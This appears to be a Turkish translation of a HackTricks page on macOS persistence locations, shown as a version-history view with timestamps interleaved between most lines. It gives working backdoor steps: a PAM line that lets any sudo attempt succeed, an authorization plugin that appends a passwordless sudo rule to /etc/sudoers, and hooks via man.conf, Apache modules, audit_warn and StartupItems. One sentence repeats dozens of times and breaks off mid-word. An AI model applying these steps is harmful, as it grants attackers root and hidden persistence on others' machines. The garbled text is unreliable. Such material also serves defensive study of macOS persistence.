2024-05-05 22:43:52 +00:00
* Her zaman kök gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
PAM, macOS içinde kolay yürütmeden ziyade **kalı cı lı k** ve kötü amaçlı yazı lı mlara odaklandı ğı ndan, bu blog detaylı bir açı klama sunmayacak, **bu teknik hakkı nda daha iyi anlamak için açı klamaları okuyun** .
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
PAM modüllerini kontrol etmek için:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-05-05 22:43:52 +00:00
Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek başlangı ca şu satı rı eklemek kadar kolaydı r:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-05-05 22:43:52 +00:00
Yani bu şöyle **görünecek** :
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-05-05 22:43:52 +00:00
Ve dolayı sı yla ** `sudo` kullanma girişimi başarı lı olacaktı r**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Bu dizinin TCC tarafı ndan korunduğunu unutmayı n, bu yüzden kullanı cı nı n erişim isteyen bir uyarı alması oldukça olası dı r.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Yetkilendirme Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Açı klama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-07-17 18:36:54 +00:00
* Ancak root olmanı z ve ek yapı landı rmalar yapmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-10 18:14:16 +00:00
* Root gereklidir
* Eklentiyi kullanmak için yetkilendirme veritabanı nı yapı landı rmak da gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Kullanı cı oturum açtı ğı nda kalı cı lı ğı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nası l oluşturacağı nı z hakkı nda daha fazla bilgi için önceki açı klamalara bakı n (ve dikkat edin, kötü yazı lmı ş bir eklenti sizi dı şarı da bı rakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 18:14:16 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-07-17 18:36:54 +00:00
**Bündeyi** yüklenmesi gereken konuma **taşı yı n** :
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-03-29 21:18:23 +00:00
Son olarak bu Eklentiyi yüklemek için **kuralı ** ekleyin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-07-17 18:36:54 +00:00
**`evaluate-mechanisms`** yetkilendirme çerçevesine dı ş mekanizmanı n çağrı lması gerekeceğini belirtecektir. Dahası , ** `privileged` ** root tarafı ndan yürütülmesini sağlayacaktı r.
2023-11-03 11:03:53 +00:00
2024-02-23 16:46:32 +00:00
Şununla tetikleyin:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-02-13 00:51:21 +00:00
Ve sonra **personel grubunun sudo erişimi olmalı dı r** (`/etc/sudoers` dosyası nı okuyun doğrulamak için).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-10 18:14:16 +00:00
* Ancak root olmanı z ve kullanı cı nı n man kullanması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-02-13 00:51:21 +00:00
* Root gerekli
2024-07-17 18:36:54 +00:00
* **`/private/etc/man.conf`**: Her man kullanı ldı ğı nda
2023-06-01 21:09:46 +00:00
2024-05-05 22:43:52 +00:00
#### Açı klama ve Sı zma
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Yapı landı rma dosyası ** `/private/etc/man.conf` **, man belge dosyaları nı açarken kullanı lacak ikili betikleri gösterir. Bu nedenle yürütülecek arka kapı her zaman kullanı cı belgeleri okurken man kullanı ldı ğı nda değiştirilebilir.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Örneğin ** `/private/etc/man.conf` ** içinde ayarlanmı ş:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
Ve ardı ndan `/tmp/view` 'i şu şekilde oluşturun:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Ancak root olmanı z ve apache'nin çalı şı yor olması gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-07-17 18:36:54 +00:00
* Httpd'nin yetkileri yok
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2024-02-23 16:46:32 +00:00
* Root gerekli
2024-02-10 18:14:16 +00:00
* Tetikleyici: Apache2 başlatı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
`/etc/apache2/httpd.conf` dosyası nda bir modülü yüklemek için şu şekilde bir satı r ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2024-07-17 18:36:54 +00:00
Bu şekilde derlenmiş modülleriniz Apache tarafı ndan yüklenecektir. Tek yapmanı z gereken ya **geçerli bir Apple sertifikası ile imzalamak** , ya da sisteme yeni bir güvenilir sertifika eklemek ve onunla **imzalamak** .
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Ardı ndan, gerektiğinde sunucunun başlatı lacağı ndan emin olmak için şunu çalı ştı rabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2024-02-23 16:46:32 +00:00
Dylb için kod örneği:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2024-02-10 18:14:16 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2024-02-10 18:14:16 +00:00
### BSM denetim çerçevesi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için faydalı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak kök olmanı z, auditd'nin çalı şı yor olması ve bir uyarı ya neden olmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2024-07-17 18:36:54 +00:00
* Kök erişimi gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Auditd bir uyarı algı ladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Herhangi bir uyarı algı landı ğı nda auditd, ** `/etc/security/audit_warn` ** betiğini **çalı ştı rı r** . Bu nedenle kendi yükünüzü ekleyebilirsiniz.
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Başlangı ç Öğeleri
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2024-04-07 03:13:19 +00:00
**Bu kullanı m dı şı dı r, bu yüzden bu dizinlerde hiçbir şey bulunmamalı dı r.**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-04-07 03:13:19 +00:00
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalı dı r:
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
1. Bir **rc betiği** : Başlangı çta çalı ştı rı lan bir kabuk betiği.
2024-03-29 21:18:23 +00:00
2. Çeşitli yapı landı rma ayarları nı içeren, özellikle `StartupParameters.plist` adı nda bir **plist dosyası ** .
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Başlangı ç işlemi tarafı ndan bunları tanı ması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyası nı n doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
{% tabs %}
{% tab title="StartupParameters.plist" %}
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:51:21 +00:00
{% endtab %}
2024-07-17 18:36:54 +00:00
{% tab title="superservicename" %}
### superservicename
Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, otomatik başlatma konumları ndan biridir. Bu, ot
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2024-02-10 18:14:16 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2024-02-10 18:14:16 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2024-02-10 18:14:16 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
2024-04-07 03:13:19 +00:00
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Bu bileşeni macOS'ta bulamı yorum, daha fazla bilgi için yazı ya bakı n
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Apple tarafı ndan tanı tı lan **emond** , geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizması dı r, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalı cı lı k yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafı ndan fark edilmeyebilir.
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Varlı ğı ndan haberdar olanlar için, **emond** 'un herhangi bir kötüye kullanı mı nı tespit etmek kolaydı r. Bu hizmet için sistem LaunchDaemon'ı , yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağı daki komut kullanı labilir:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-07-17 18:36:54 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-07-17 18:36:54 +00:00
* Root gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: XQuartz ile
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sı zma
2023-09-28 20:05:35 +00:00
2024-02-23 16:46:32 +00:00
XQuartz artı k macOS'ta **kurulu değil** , bu yüzden daha fazla bilgi için yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Kext'i yüklemek bile kök olarak oldukça karmaşı ktı r, bu nedenle bunu kum havuzları ndan kaçmak veya kalı cı lı k için düşünmeyeceğim (elbette bir açı kı nı z varsa)
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Bir KEXT'i başlangı ç öğesi olarak yüklemek için aşağı daki konumlardan birine **yüklü olması gerekir** :
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2024-07-17 18:36:54 +00:00
* OS X işletim sistemi tarafı ndan derlenmiş KEXT dosyaları .
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2024-07-17 18:36:54 +00:00
* 3. taraf yazı lı m tarafı ndan yüklenen KEXT dosyaları
2023-09-28 20:05:35 +00:00
2024-05-05 22:43:52 +00:00
Şu anda yüklenmiş kext dosyaları nı listelemek için:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-05-05 22:43:52 +00:00
Daha fazla bilgi için [**çekirdek uzantı ları kontrol etme bölümüne bakı n** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist` 'den gelen `plist` bu ikiliyi kullanı yordu ve bir XPC servisini açı ğa çı karı yordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrı ldı ğı nda ikili dosyanı z çağrı lacaktı .
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Artı k macOS'ta bunu bulamı yorum.
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2024-02-10 18:14:16 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-10 18:14:16 +00:00
* Root gereklidir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Servis çalı ştı rı ldı ğı nda (nadiren)
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve sömürü
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Bu betiği çalı ştı rmak pek yaygı n değil gibi görünüyor ve hatta macOS'ta bulamadı m, bu yüzden daha fazla bilgi istiyorsanı z yazı ya bakı n.
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
**Bu modern MacOS sürümlerinde çalı şmı yor**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-05-05 22:43:52 +00:00
Başlangı çta çalı ştı rı lacak komutları buraya yerleştirmek de mümkündür. Tipik bir rc.common betiği örneği:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2024-02-10 18:14:16 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2024-02-10 18:14:16 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2024-02-10 18:14:16 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2024-02-10 18:14:16 +00:00
## Kalı cı lı k teknikleri ve araçları
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-07-17 18:36:54 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahraman olmaya kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-05-05 22:43:52 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na göz atı n (https://github.com/sponsors/carlospolop)!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-07-17 18:36:54 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-05-05 22:43:52 +00:00
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
2024-07-17 18:36:54 +00:00
* **Hacking püf noktaları nı zı göndererek HackTricks** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na PR göndererek paylaşı n.
2023-06-01 21:09:46 +00:00
< / details >